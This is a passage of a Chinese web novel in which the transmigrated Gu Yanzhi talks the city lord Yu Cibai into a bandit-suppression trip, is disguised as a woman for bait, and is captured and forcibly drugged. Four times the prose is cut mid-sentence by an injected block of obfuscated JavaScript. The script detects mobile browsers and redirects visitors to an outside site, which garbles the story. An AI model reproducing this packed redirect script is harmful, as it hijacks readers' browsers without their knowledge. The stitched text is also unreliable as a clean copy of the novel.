郁辞白推门而入。 顾宴之卧在榻上,后背靠着床头,一头墨发散落在肩头,明亮的烛光衬得皮肤光洁如玉,恍若谪仙。 “城主来了。”顾宴之望着郁辞白,低声道:“宴之行动受阻,不便下床向城主行礼。” 平日里行动方便的时候,也没见顾宴之向他行礼。 郁辞白一时没开口,从上到下把顾宴之打量了一遍,思考他又在玩什么手段。 “顾宴之。”郁辞白走近榻边,居高临下地俯视着他,打落一片阴影,“你在玩什么花样?” “宴之没有。”顾宴之声音里透着些许委屈,“城主不愿相信宴之吗?” 郁辞白能相信就见鬼了。 顾宴之继续道:“宴之知道城主近来操劳,正巧发现城主府里有枇杷树,于是便想为城主炖一碗枇杷银耳羹。” “却不小心跌了下来摔伤了左腿。” 旁边的桌案上放着几枚枇杷果,似乎是在佐证顾宴之说话的事实性。 “……”郁辞白的神情不明,看不清他的表情究竟有没有相信。 郁辞白微微俯身,靠近了与顾宴之的距离,一双漆黑的眸子深不见底,“继续说。” 顾宴之该说的话已经说完了,闻言只得继续编下去,在郁辞白幽深的视线下,硬着头皮说道:“城主来看宴之,宴之顿时觉得好多了。” 郁辞白看着顾宴之,突然隔着被子按了下顾宴之的腿,力度说不上多大,但也不小。 顾宴之反应慢了半拍,等到郁辞白收回手才来得及叫疼:“城主,疼——” 郁辞白丝毫没有怜香惜玉之情,“怎么个疼法?” 顾宴之想了想,“就是很疼。” “是吗?”郁辞白声音冷淡道:“可本城主分明按的是你的右腿。” “……” 顾宴之沉默几秒,勉强道:“那可能是因为城主太用力了,即便没按到伤口仍然很疼。” 郁辞白道:“可本城主明明没用力。” 顾宴之都想甩手不干了,他算是知道什么叫做伴君如伴虎了,想忽悠郁辞白简直难如登天,“那可能是因为疼痛传递了。” 郁辞白看出顾宴之的作假,眼中情绪莫测,声音里带着些许危险的意味,“是你自己站起来,还是本城主帮你站起来?” 顾宴之心中留有余地:“城主,宴之真的伤到了。” 郁辞白不咸不淡道:“刚才你叫来的人叫伍苏是吧,你俩合起伙来欺骗本城主的事情——” 顾宴之眼见计划败露,不想连累伍苏,叹了口气,“城主,您何时能睁一只眼闭一只眼?” 郁辞白坐在榻边,轻轻嗤了一声,“说吧,这次又是为何?” “我想跟城主一起出去。”顾宴之靠近郁辞白,一双浅色的眸子真诚而纯粹,扯着城主的袖子摇了摇,“真的很想。” 郁辞白像是触电似的抽回了袖子,神情中有一丝不易察觉的动容,但最后还是冷冰冰道:“不行。” 顾宴之:“……” 什么办法都用过了,奈何郁辞白坚如磐石,怎么也不肯同意。 顾宴之也是有脾气的,掀起被子盖住自己,翻了个身,“不去就不去。” 大不了这10积分他不要了。 这下轮到郁辞白沉默了。 他在榻边站了一会儿,“本城主不是出去玩的,此行前路未知险阻,你去没有好处。” 顾宴之不吭声。 不知过了多长时间,郁辞白转身离开了卧房。 顾宴之对系统道:“我已经尽力了,这个任务真完成不了。” 宿主的努力系统也看在眼里,安慰道:【完成不了就算了,以后还有别的积分任务。】 过了一会儿,顾宴之又问道:“那我欠的积分怎么办?” 系统;【得尽快还。】 身负债务的感觉不好受,顾宴之深吸了口气,“那我再努努力。” 还有一天时间。 * 第二日。 城主府有一片湖,清澈得如同镶嵌在庭院中的翡翠,静谧而深邃,湖里偶有鱼在水草间穿梭。 顾宴之准备亲自抓一条鱼然后烹饪,送给郁辞白吃,不信对方不会为之动容。 顾宴之站在湖畔,开始物色抓哪一条鱼。 …… 郁辞白今日早上外出,回来的时候路过镜碧湖时,看见了一道熟悉的身影站在湖边,不知在做什么。 郁辞白停住脚步,隔着一段距离看了会儿,不清楚顾宴之又要搞什么花样。 郁辞白开口:“顾宴之——” 顾宴之刚巧看中了一条样子肥美的鱼,看准时机正准备倾身去抓的时候,身后忽然传来一道喊他的声音,吓了一跳,一下子没稳住身形,身子一歪,便往湖里栽了进去。 “扑通——” 顾宴之不会水! 郁辞白看见掉入湖里的顾宴之,神色一变,一个轻功跃落到湖边,没有丝毫犹豫地跳入湖里。 顾宴之不会游泳,掉入湖里第一反应是挣扎,但越挣扎沉得越快,呛了一口水,越发不能呼吸。 直到有人搂住他的腰身,带着他往上游。顾宴之顿时像抓住最后一根稻草,紧紧抱住了那人,半点都没有空隙。 好在湖水不深,郁辞白很快就将顾宴之救了上来。 顾宴之坐在岸边,止不住地咳嗽,“咳咳咳——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320342|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁辞白拍了拍顾宴之的后背,帮着他顺气,直到对方呼吸顺畅,才缓缓收回了手。 顾宴之感觉自己像在鬼门关走了一遭,脸色煞白,湿漉漉的长发贴在身后,唇色苍白,睫毛低低垂下水珠,半天都没缓过神来。 直到顾宴之平复了气息,这才看向郁辞白,低声道:“多谢城主。” 郁辞白浑身也湿透了,黑发贴在脸侧,愈发显得莫测危险,“你要寻死?” 谁要寻死! 顾宴之活都不够活的,怎么可能想要寻死,他没好气道:“我只是想捉鱼。” “……”郁辞白默然半晌,似乎是无话可说,“你不会水,抓什么鱼?” “自然是想替城主做一道佳肴。”顾宴之擦了擦脸侧的水滴,道:“而且我原本只打算在岸边捉鱼。” “那为何会掉入水中?” 说到这个顾宴之就来气了,望向郁辞白,眼里满是控诉,“要不是城主突然喊我,宴之也不会因为惊吓失足掉入水中。” 郁辞白:“……” 总而言之这是个乌龙,但两人都落入水中而湿了个透,也算是公平了。 郁辞白看着湿透的顾宴之,忽然开口:“本城主许你一同前往了。” “……”顾宴之正擦着头发上的水珠,听到这话顿时睁大了眼睛,一双好看的浅淡眸子里满是惊讶,“什么?” “本城主说,”郁辞白重复了一遍,“明日的离府,许你一同前往。” 郁辞白此行出门是为了剿灭山贼,可以说是危机四伏,他一开始不愿意携顾宴之一同,一是怕对方耽误事,二是对方不会武功,遇到危险自身难保。 但郁辞白现在发现,留顾宴之一个人在府中,似乎才最不能让人安心。 每日一闯祸。 万一他剿匪回来,发现顾宴之自己把自己玩死了怎么办? 郁辞白目前还不想杀顾宴之。 把人放在身边盯着或许才更好。 “真的吗?”顾宴之生怕郁辞白反悔,一双眼睛亮闪闪的,“城主一言九鼎,同意就得让宴之去了,不能反悔。” 郁辞白移开了视线,轻轻应了声。 顾宴之鱼也懒得捉了,站起身来,“那宴之现在就回去收拾行李。” * 次日清晨。 马车停在城主府门口。 顾宴之怕郁辞白忘了他,因而早早便到了。 一刻后,郁辞白从大门处走出,未着平日里的华服,穿着一袭简单的黑色,深色腰带束在腰间,勾勒出劲瘦的腰身。 郁辞白道:“本城主刚托人去叫你。” 顾宴之看起来兴致颇高,主要是任务即将完成的喜悦,唇角微勾,“不用城主叫,宴之自己能来。” 郁辞白道:“此次出行,在外不要叫城主。” 顾宴之顿了顿,难道他可以直呼郁辞白的名字了吗,“那叫什么?” 郁辞白:“叫公子。” 顾宴之慢半拍地问道:“公子,那我的身份是什么?” “你说呢?”郁辞白挑眉看向顾宴之,声线里多了些不易察觉的玩味:“自然是随行的小厮。” 11. 城主11 …… 算了,小厮就小厮吧。 顾宴之的回答从善如流:“能当公子的小厮,也是一种荣幸。” 郁辞白似是轻笑了一声,却又转瞬即逝,“上车。” 门口只有一辆马车,顾宴之故意压声问道:“那公子,我坐哪里呢?” 郁辞白瞥了顾宴之一眼,知道他在明知故问,“你想坐哪?” 顾宴之心情不错,走到郁辞白身边,腻歪道:“想跟公子坐一起。” 顾宴之说话嘴上不把门,尤其是发现郁辞白不会轻易杀他之后,更是愈加猖狂肆意。 郁辞白不自然地移开视线,“随你。” 马车很大,顾宴之走到马车上坐下,面前的桌案上摆有茶水和精致的点心。 过了一会儿,郁辞白才上车坐下。 马车启程。 系统发出提示音:【恭喜宿主完成任务,10积分已到账。】 “只有我们两个人去么?”顾宴之问道。 郁辞白启唇道:“暗卫昨夜已经出发了。” 一路上,顾宴之新奇得不行,时不时撩开帷幔向外看去。 他还没出过远门,来到这个世界后大多数时间都待在城主府里,偶尔出门也只是在周边闲逛。 白日的北澜城街道十分热闹,街边的商贩叫卖声此起彼伏。 顾宴之的视线停留在窗外,目光留连在外面的各种面馆以及早点铺子上。 早上走得太急,他还没吃早饭QAQ。 或许是顾宴之的眼神太过渴望,郁辞白偏头看了过去,又循着他的视线向外看去—— 平平无奇,什么都没有。 “你在看什么?”郁辞白问道。 马车正好路过一家包子铺,顾宴之低低叹了口气,“公子,你有没有闻到一股香味?” 郁辞白不管顾宴之的言外之意,直接反问道:“你想吃?” “……” 顾宴之被戳破了心中所想,索性坦白道:“公子,我早上还没来得及吃饭。” 郁辞白难以察觉地皱了皱眉头,不知要说什么,但最终什么也没说,只对车夫道:“去碧波楼。” 车夫应声:“是。” 不久后,马车停在了碧波楼前。 碧波楼是北澜城中最大的酒楼之一,以其菜肴精美和环境优雅而闻名。 马车刚一停下,便有身穿青布衣衫的小二迎上前来。 顾宴之没想到郁辞白还真是面冷心热,“多谢公子。” 郁辞白没说话,径直下了马车,“跟上。” 二楼包间。 郁辞白将食单扔给顾宴之,“点。” 顾宴之饿得不行,刚想大点一番,忽然想到自己身无分文,迟疑问道:“……公子,不用我付钱吧。” “……”郁辞白眉心跳了跳,“不用。” 他平日里是有苛待顾宴之吗,能让对方问出这种问题。 听到不用自己付钱,顾宴之顿时松了口气,不然他还真给不出来。 顾宴之随便点了几样,再把食单交给了郁辞白。 郁辞白用过早膳,此时没有再吃的胃口。 不多时,菜品一一上齐。 顾宴之怕耽误时辰,所以吃的很快,因而没过一会儿,就被噎到了。 “……” 郁辞白抬手盛了一碗汤放在顾宴之面前,“慢点吃,没人跟你抢。” 顾宴之喝了口汤,这才顺下气来,“宴之怕误了时间。” 郁辞白默了默,才道:“没那么着急,不差你一口吃的。” 等顾宴之吃完,两人走出碧波楼。 街上正好有叫卖糖葫芦,吸引住了顾宴之的目光。 刚吃完饭,来一串酸甜的糖葫芦再好不过。 郁辞白刚准备上马车,衣袖处突然传来一阵阻力,回头一看,顾宴之扯住了他的袖子。 “何事?”郁辞白问道。 “公子。”顾宴之也不管好意思不好意思了,反正他在城主府打工又没拿到工钱,“我想吃糖葫芦。” 郁辞白:“…………” 还小厮,谁府里的小厮这样? 郁辞白:“……吃。” 顾宴之一点也不扭捏,“可我需要公子帮我付钱。” 他没有钱这样子。 “顾宴之。”郁辞白凉凉道:“是本公子给你胆子许你放肆了?” 和郁辞白相处久了,就会慢慢忽略对方曾经流传的恶名……顾宴之又是极其擅长蹬鼻子上脸,只要给他点颜色,就能画出花来。 “不可以吗公子?”顾宴之扯了扯郁辞白的袖子,“可我真的很想吃。” 下一刻,一个沉甸甸的钱袋被扔到了顾宴之手中。 顾宴之接过钱袋,唇角勾出喜悦的笑容,“谢谢公子。” 顾宴之拿了两串糖葫芦,打开钱袋便要付钱。 卖糖葫芦的小孩说道:“公子,一共四文钱。” 顾宴之拿了钱袋里最小的银子,“够吗?” 小孩顿时慌张,“不用那么多,这都够买不知道多少糖葫芦了。” “公子,我也找不开这么多银子呐。不如公子先去买点别的东西找开铜钱。” 顾宴之没办法,他真的很想吃糖葫芦,于是先到隔壁买了一块玉珏,找开了零钱后,买了两串糖葫芦。 回到马车上后,继续赶路。 顾宴之递给郁辞白一串糖葫芦,“给,公子。” 郁辞白没接:“你自己吃。” 顾宴之咬了一口糖葫芦,山楂的酸与糖衣的甜在舌尖交织,味道很是不错。 郁辞白不吃,顾宴之便把这串先放在一边,拿出他刚才为了凑零钱买的玉珏,递给郁辞白:“公子,这个送给你。” 郁辞白一愣,抬眸看向玉珏,一向幽深的眸子此时带着些许看不懂的情绪,“你从哪儿找的?” 顾宴之又咬了一口糖葫芦,声音有些含糊不清,“刚才路边买的。” 郁辞白半晌沉默,正当顾宴之以为郁辞白不要,正要收回来的时候,对方却伸手接过了玉珏。 郁辞白看着手上的玉珏,神色不清。 路途遥远,顾宴之早上起得早,吃完糖葫芦后就开始犯困,脑袋一点一点的。 郁辞白也在闭眸休憩。 忽然一个颠簸,顾宴之身形一歪,靠在了郁辞白肩膀上。 顾宴之睡得沉,没有反应,还不自觉地用脸蹭了蹭郁辞白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320343|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀,然后睡得更香了。 郁辞白本就只是单纯闭着眼,没有睡着,被顾宴之一靠就睁开了眼,偏头看向对方,微微摩挲了下指尖,在思考是把顾宴之丢出去还是丢出去? 顾宴之梦中呓语:“……唔,糖葫芦。” 郁辞白:“…………” 气氛凝固片刻,郁辞白重新闭上了眼睛。 …… 顾宴之补了个好觉。 睡醒的时候,一时没反应过来自己身在何处,眸中透着一丝茫然,然后对上了郁辞白的目光。 郁辞白动了动自己酸麻的半边肩膀,眸色深邃,语气冰凉、意味不明地开口:“睡醒了?” 顾宴之不知道为什么一觉起来郁辞白如此冷漠,最后归结于对方喜怒无常。 对方性格阴晴不定已经是常态,顾宴之也颇不在意,懒懒点了下头,掀开窗幔向外看去,“到哪儿了?” 外面的马车夫回答道:“马上就到了,约莫还有一炷香的时间。” 山贼发于岄旭山附近,不仅截人钱财,还强抢民女。当地官府拿这批山贼没办法,关押一批又来一批,如雨后春笋般源源不断。 抓不到山贼头头,一切都是枉然。 岄旭山附近原本人流车流众多,如今听说这边山贼肆虐,大多数人宁愿绕远路也不愿意走这条路。 因而一路走过来,越靠近岄旭山就越为冷清,连大路都人烟稀少,少见马车。 到了客栈后。 当地的官府已经在此等候多时,见郁辞白从马车上下来,顿时恭敬地行礼。 “现在有要事相商。”郁辞白转身对顾宴之交代道:“你在客栈里待着。” 语罢似乎仍是有些不放心,郁辞白补充道:“让羽曜跟着你。” 话音刚落,一个黑衣暗卫不知从何处现身,出现在了他们面前,“是,公子。” “……” 顾宴之真是羡慕这些会武功的人了,神出鬼没来去无踪,谁心中没有一个大侠梦呢? 顾宴之知道郁辞白有正事要忙,便不打扰他了,回到客栈里休息。 羽曜寸步不离地跟着他。 顾宴之方才在马车上睡足了,此时没有困意,没事做便只能跟羽曜聊天,随意问道:“你们主子平日里待你们怎么样?” 羽曜算是暗卫中年龄偏小的,性格也更为活泼一些,可能正是因为如此,才安排过来跟着顾宴之。 羽曜作为城主的贴身暗卫,早就知道顾宴之这人了,尤其知道他在宴会上舍身救了城主之后,对他的印象还颇好。 “主子待我们很好。”羽曜好奇问道:“主子待你如何呢?” 顾宴之支着下颌想了想,“还可以。” 说实话,除去一开始郁辞白总是拿杀他来试探他,大多数时候对方还挺好的,不似传闻里那么骇人。 他有些庆幸任务对象是郁辞白,如果换做别人的话,顾宴之完成任务都带着心理压力。 但是——这样的郁辞白,顾宴之该怎么背叛得下手? “主子这回带你出来,是不是因为你武功很强呀?”羽曜是个武功迷,兴奋道:“咱们比划比划?” 顾宴之:“……” 不必。 12. 城主12 郁辞白在和当地官府议事。 “这些山贼不仅掠夺钱财,还强抢路过的民女。现在百姓们都不敢走岄旭山附近的官道——”官府叹气道:“报案量最近都因此增加了,属下实在处理不过来。” “属下们也曾几次三番派官兵出剿过,但是山贼大本营潜藏得深,几次都没能一举剿灭。” 当地官府说着如今的现状。 “……” 郁辞白低垂着眸,神色难辨。 与此同时,顾宴之那边收到了一条任务通知—— 【恭喜宿主触发任务:参与到剿灭山贼的任务中,任务完成奖励10积分。】 顾宴之:“……” 怎么什么事都让他去掺和一脚? 这样显得他闲出花来了。 ……虽然他的确很闲。 顾宴之知道郁辞白现在在隔壁房间议事。 顾宴之起身,走出了房间。 羽曜跟在身后,好奇问道:“您去哪儿?” 顾宴之食指比在唇边,轻轻道:“嘘。” 顾宴之出门后直接右拐,拐到了郁辞白的门前,然后悄悄地蹲下,开始偷听。 羽曜在身后看了半天才看懂顾宴之在干什么,表情出现了一丝裂纹,迟疑道:“这样不好吧?” 顾宴之颇不在意:“哪里不好?” 羽曜显然理解不了顾宴之的脑回路,憋了半天才憋出一句话,“主子在里面谈话。” “我知道。”顾宴之:“所以我在外面听。” “……”羽曜不知道为何顾宴之能把偷听说的如此理直气壮,辩不过对方,便想伸手把顾宴之拽走,“不能偷听主子谈话。” 顾宴之当然不走。 两人拉扯推搡间,顾宴之突然失去了平衡,身形一个不稳,撞开了掩着的房门,踉跄地跌了进去。 听见动静,屋内的郁辞白和当地官府都看了过来,沉默:“……” 顾宴之:“……” 他暗地里戳了下羽曜。 都怪他! “不是让你在房中待着吗?”郁辞白望了过来,微不可察地皱了皱眉,他耳力灵敏,从顾宴之和羽曜在门外唧唧歪歪的时候就已经听到,却没想到这二人硬是不消停。 顾宴之方才在门外偷听,只听见他们在物色什么人选去干什么事,八成是剿灭山贼的事情。 顾宴之为了任务,主动道:“公子,我可以去。” 郁辞白尚未说话,官府先是惊讶:“你如何能去,你可是男子——” 顾宴之不知道说的是什么事,以为官府看不起他,辩驳道:“男子怎么不可?” 官府看着顾宴之的脸,恍惚了一阵,忽而像是被说服一般,转了口风,“确实确实,让这位公子扮女装前往,未免不失良计。” 顾宴之:“?” 什么? 扮女装? 顾宴之后退了一步,扶住了门框,隐隐有退缩之意,“我方才进来,不知你们在说什么,什么扮女装?” 系统怕宿主真跑了,在宿主身后用力抵住他的后背,为他加油鼓气道:【宿主不要退缩鸭!】 官府解释道:“这批山贼喜欢强抢民女,属下与城主商议打算以美人为诱饵,诱山贼出动,趁此机会一网打尽。” 顾宴之:“……” 哦。 顾宴之转身就要走。 系统在身后用力拽宿主,可惜无形的身体起不到任何作用,【宿主,10积分!10积分!】 …… 郁辞白唇角略微弯了弯,启唇道:“羽曜。” 羽曜顿时明白了主子的意思,把临阵脱逃的顾宴之拖了回来。手无缚鸡之力的顾宴之毫无反抗之力,被硬生生拽了回来。 “……” 郁辞白缓步走上前去,抬手捏起顾宴之的下巴,上上下下把他的脸打量了一遍,笑了声,“这张脸,的确适合。” 皮肤白皙,眉眼精致昳丽,唇色如丹。相信扮上女装之后,也会是倾城绝色。 顾宴之一脸生无可恋:“不,我不适合。” 系统看宿主死活不愿意,悄咪咪鼓励道:【宿主,积分可以用很多用途哦,只有你想不到的没有积分做不到的。】 顾宴之当然知道积分用途多,甚至可以延缓他体内的毒素。但是士可杀不可辱,今天这事,他干不来! 系统于是只能跟上级申请,最后申请到了积分提额,【宿主,任务成功获得的积分提高到了30积分!】 顾宴之一顿:“……” 他勉为其难道:“50。” 系统表示很纠结,随后过了一会儿才道:【50就50!只要宿主你能完成任务。】 官府道:“属下看这位公子的确适合,已经是当下最合适的人选了。” “我可以去。”顾宴之在系统那边拿了好,但在郁辞白这边也没有立即同意,提条件道:“但要公子与我一起去。” 一个人扮女装多没意思。 郁辞白静静地看着他,忽然笑了笑,“本公子自然与你同去。” 他知道顾宴之不会武功,让对方一个人去无疑于将他置于险境。 顾宴之知道自己有个伴,心理平衡了。 事不宜迟。 当日下午,衣裳和首饰就送到了顾宴之房中,还来了个帮忙梳妆的丫鬟。 顾宴之看着大红色的华贵衣袍,绣有精美繁杂的云彩图案,绣工精湛,以及华丽繁琐的头饰,怀疑道:“穿这个?” 送衣服的小厮道:“都是公子安排。” 顾宴之半是猜疑半是犹豫,但想到有郁辞白陪他一起,便还是穿上了。 换上衣裳后出来梳妆,丫鬟都惊艳得说不出来话。 大红色是艳色,衬得肤色愈加白皙如玉,一头墨发披散在身后,眉眼惑人,妖冶得像是画中妖。 丫鬟帮他挽发,忍不住暗自惊叹,从未见过如此好看的人。 顾宴之看着镜中的自己,还是不明白为什么要穿得如此华丽。 半晌后,顾宴之走出房门,俨然像是换了个人,脸还是那张脸,周身的气质却陡然不同,近妖似妖,仿佛勾人精血的妖精。 顾宴之忙着找郁辞白。 郁辞白呢? 他要看看郁辞白变成了个什么样? 顾宴之推开了隔壁的门。 郁辞白正在窗边喝茶,闻声看了过去,视线顿时一愣,一向以冷静自持的城主此时脸上竟有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320344|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些许怔愣。 “你怎么没换衣服?”顾宴之以为郁辞白还没开始换衣裳,问道:“不是说一刻出发么?要来不及了。” 城主仍穿着和平时一样的衣裳,一袭万年不变的黑色。 郁辞白顿了顿,“本公子换什么衣服?” 顾宴之扯了扯身上的红色衣裳,单纯道:“跟我一样的衣服呀。” “……”郁辞白:“本公子何时说过穿跟你一样的衣服?” 顾宴之迟迟地反应过来对方打算不认账,一双浅色的眸子睁大,“你昨日说,同我一起去。” “本公子是说同你一起去。”郁辞白点出事实,提醒道:“可没说要穿与你一样的衣裳。” 顾宴之怀疑人生:“什么?” 系统飞出来证明道:【宿主,任务对象的确没说过要扮女装。】 顾宴之懵了个懵。 此时此刻,官府叩门进来,一眼就看见顾宴之大红色的背影,不由得一怔,才想起来禀告道:“公子,消息已经散播出去了,马车也已经准备好了。” “城中有贵胄携美人一位,今夜之前会路过岄旭山官道。” “山贼那边应该已经收到消息了,不出意外已经埋伏在岄旭山官道必经之路。” 顾宴之这下终于听懂了。 贵胄携美人。 郁辞白扮的是贵胄,而他扮的是那个美人! 传闻山贼劫财劫色,这下听到一个既有财又有色的马车要路过岄旭山,势必不会放弃这个机会。 但是顾宴之还是接受不了,只有他自己一个人扮女装。 官府来禀告完消息就离开了,屋内又只剩了顾宴之和郁辞白二人。 郁辞白起身,“走吧。” 顾宴之衣裳都穿在身上了,此时此刻要是甩手不干既会没有积分,又会耽误郁辞白的计划。 “……” 权衡再三,顾宴之咬咬牙还是跟上了。 他待会要找系统要精神损失费! …… 客栈外停的马车格外华丽,一看就价值不凡,必定砸了重金所造。 好在这处客栈已经被郁辞白包了场,此刻没什么闲杂人等,顾宴之也不用怕被别人看到,心里少了些羞耻感。 反正只有几个人看到这样子。 上马车的时候,顾宴之衣摆繁杂,半天没上去马车。正当他准备不顾形象地提起裙摆的时候,身侧的手突然被拉住,然后被一股力气带了上去。 他抬眸望向郁辞白,正准备道谢。 郁辞白的嘴一如既往地不饶人,凉凉道:“再慢点天都黑了。” “……”顾宴之把谢谢吞进了肚子,不甘示弱道:“就慢就慢。” 马车启程,此时已经日落时分。 官府扮成了马车夫,提醒道:“这位公子到时候切记不要开口说话,不然就露馅了。” 顾宴之的声音隐藏不了,一开口说话就瞒不住了。 顾宴之应声表示知晓。 顾宴之气归气,但配合还是会好好配合的。 马车驶入岄旭山官道。 金碧辉煌的马车行驶在空旷的官道上,仿佛一只大肥羊在向着山贼招手—— 快来薅我呀。 13.城主13 突然。 马车被截停。 一阵急促的马蹄声与呼喊声打破了原有的平静。 “马车里的人听着!速速停下,一个一个地全给我下车,把钱财都乖乖交出来,不然让你们全都有命来没命回!”山贼那凶狠残暴的声音如炸雷般在空气中回荡。 马车附近的守卫毫不犹豫地迎上前去,瞬间,刀光剑影交错闪烁。却不敌,守卫们渐渐难以招架,身形开始踉跄,隐隐有败退之势。 顾宴之波澜不惊,知道这些都在计划之内。 他们要假装不敌,然后被山贼掳走,进而深入山贼大本营,路上会悄然留下暗记,后续部队便能随着标记跟过来,然后将山贼老巢一网打尽。 此时,马车帘子被掀开,山贼桀桀笑出声,“原来还真有个大美人,哈哈,正好抓回去给老大当媳妇儿。” 顾宴之作戏作到全部,“胆小”地依偎在郁辞白身侧,修长的手指紧紧抓住他的衣袖,看起来“弱不禁风”。 郁辞白不知顾宴之是装出来的,以为他没见过这种场面而畏惧,微微皱了皱眉,莫名有些不易察觉的后悔,早知不应该强求顾宴之来的。 他揽住了顾宴之的肩膀,把对方拥入了怀中,轻轻拍了两下,似是在安慰。 顾宴之表情差点没绷住,没想到郁辞白作戏比他还全套,顿时觉得自愧不如。 “下车!”山贼舞着大刀,厉声要挟道:“否则别怪我们手下不留情!” 郁辞白扶着顾宴之缓缓起身,下了马车,周身透着一股矜贵,侧头看了一眼顾宴之,夹杂着一丝不易察觉的担忧。 顾宴之低着头,仿佛被吓得不轻。 山贼们围了上来,正当顾宴之以为对方要威胁什么的时候—— 谁料,未等他有反应,顾宴之直接山贼被一掌作竖刀劈中了后颈,瞬间就晕了过去。 在陷入昏迷的最后一刻,顾宴之脑中闪过念头:这群山贼真是人狠话不多。 以及,郁辞白靠点谱啊! …… …… 不知过了多久,顾宴之才在系统的推搡撞击中醒来。 系统累得满头大汗,终于叫醒了宿主,【宿主,你快醒醒,大事不妙啊大事不妙!】 顾宴之后颈还隐隐作痛,仿佛细密的针芒丝丝缕缕,眼前被一片红色遮挡,手脚都被牢牢束缚,一动不能动。 这间屋子装饰简陋,只有简单的一床一桌,除此之外别无他物。床上躺着一个身着红衣的绝色“女子”,头上还戴着红盖头。 顾宴之下意识三连问:“我这是在哪儿?发生了什么?我怎么动不了?” 系统抹了一把汗:【亲爱的宿主,山贼头子看上了你的脸,要跟你成亲!】 “……” 好消息,没有生命危险。 坏消息,他名节不保。 顾宴之动了动手,发现手腕被绳子捆得结结实实,“……郁辞白呢?” 【郁辞白也被山贼带了回来,听说是为了当人质换个好价钱。然后你们就分开了,我跟着宿主你,就不知道郁辞白那边发生了什么。】 顾宴之动了两下,不小心碰倒了床边的架子,发出一阵声响。 不知是不是被这阵声响惊动,还是恰好有人进来,那人迈着粗重的脚步,问旁边的人:“醒过吗?” 旁边的人唯唯诺诺道:“没醒过。” 顾宴之只能继续装晕。 那人动作粗鲁地将顾宴之从床上扶起,接过另一人手中的装着黑色药汁的白瓷碗,掀起红盖头,往顾宴之嘴里灌了一口。 顾宴之想吐又不能吐,怕被发现自己是装晕,只得强行咽了下去,苦涩的药汁顺着喉咙流下,涩得顾宴之差点要作呕,又硬生生得咽了回去。 毒药就毒药吧。 谁没中过毒似的。 那人喂完药后就甩手离开了,临走前吩咐道:“看好她,待会老子成亲出了差错你就死定了。” 另一个低头连连道:“是是。” 两人离开房中,房间里又重新恢复了安静,静得连心跳声都听得清楚。 “……” 药汁入喉,时间一点一滴地过去,顾宴之慢慢感觉到了浑身热了起来,繁琐的衣袍此时像是多余的累赘,压得人喘不过来气。 好热…… 身体像是被放在蒸笼上,又仿佛被放在火焰上烘烤,难以说清楚此时的感受,从内到外的热了起来。 顾宴之残存的意识心想,难道这是什么大补药? …… 顾宴之根本没有听到外面是何时开始了打斗声,又是何时停止的。 山贼利欲熏心,引狼入室,终致自身覆灭,被一网打尽。 守卫与暗卫们将山贼悉数擒获,而后井然有序地逐个押解下山,同时仔细清点着他们历年打劫所积的物资,带走被强抢的民女。 郁辞白从一片狼藉的院子里走过,这里刚刚经历了一场血战,凌乱不堪,血污浸染土石,惨烈之象令人触目惊心。他却周身干净,一袭黑衣利落,不沾一点血腥,宛如超脱于俗世杀伐之外。 他推开关押着顾宴之的大门,走进门,看见了床上手脚被束缚的顾宴之。 顾宴之热得快要晕过去,根本听不见郁辞白进来的声响,直到头上遮盖的红盖头被一只骨节分明的手慢慢掀开,顾宴之才反应过来屋子里进了人。 他视线模糊,仿佛蒙上一层雾,朦胧之间好像看见了郁辞白的身影。 “……” 郁辞白掀开了顾宴之的盖头后,随即弯腰帮他解开手脚的绳索束缚。 刚一解开手上的绳索,顾宴之却忽然开始拉扯着自己的衣裳,不多时便露出了半边白皙性感的肩膀和锁骨,以及还有接着往下脱的趋势,“好热……” “好热……” 郁辞白这才反应过来不对,室内灯光昏暗摇曳,近看才能看到顾宴之脸上异常的潮红。 不对劲—— 郁辞白刚意识到异样,就被顾宴之伸手紧紧抱住,仿佛抱住了最后一丝清凉,歪头蹭了蹭他的脖颈,声音里透着丝丝委屈,“热……” 郁辞白伸手探了探顾宴之的额头,泛着一种不正常的热度,意识到他可能中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329816|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 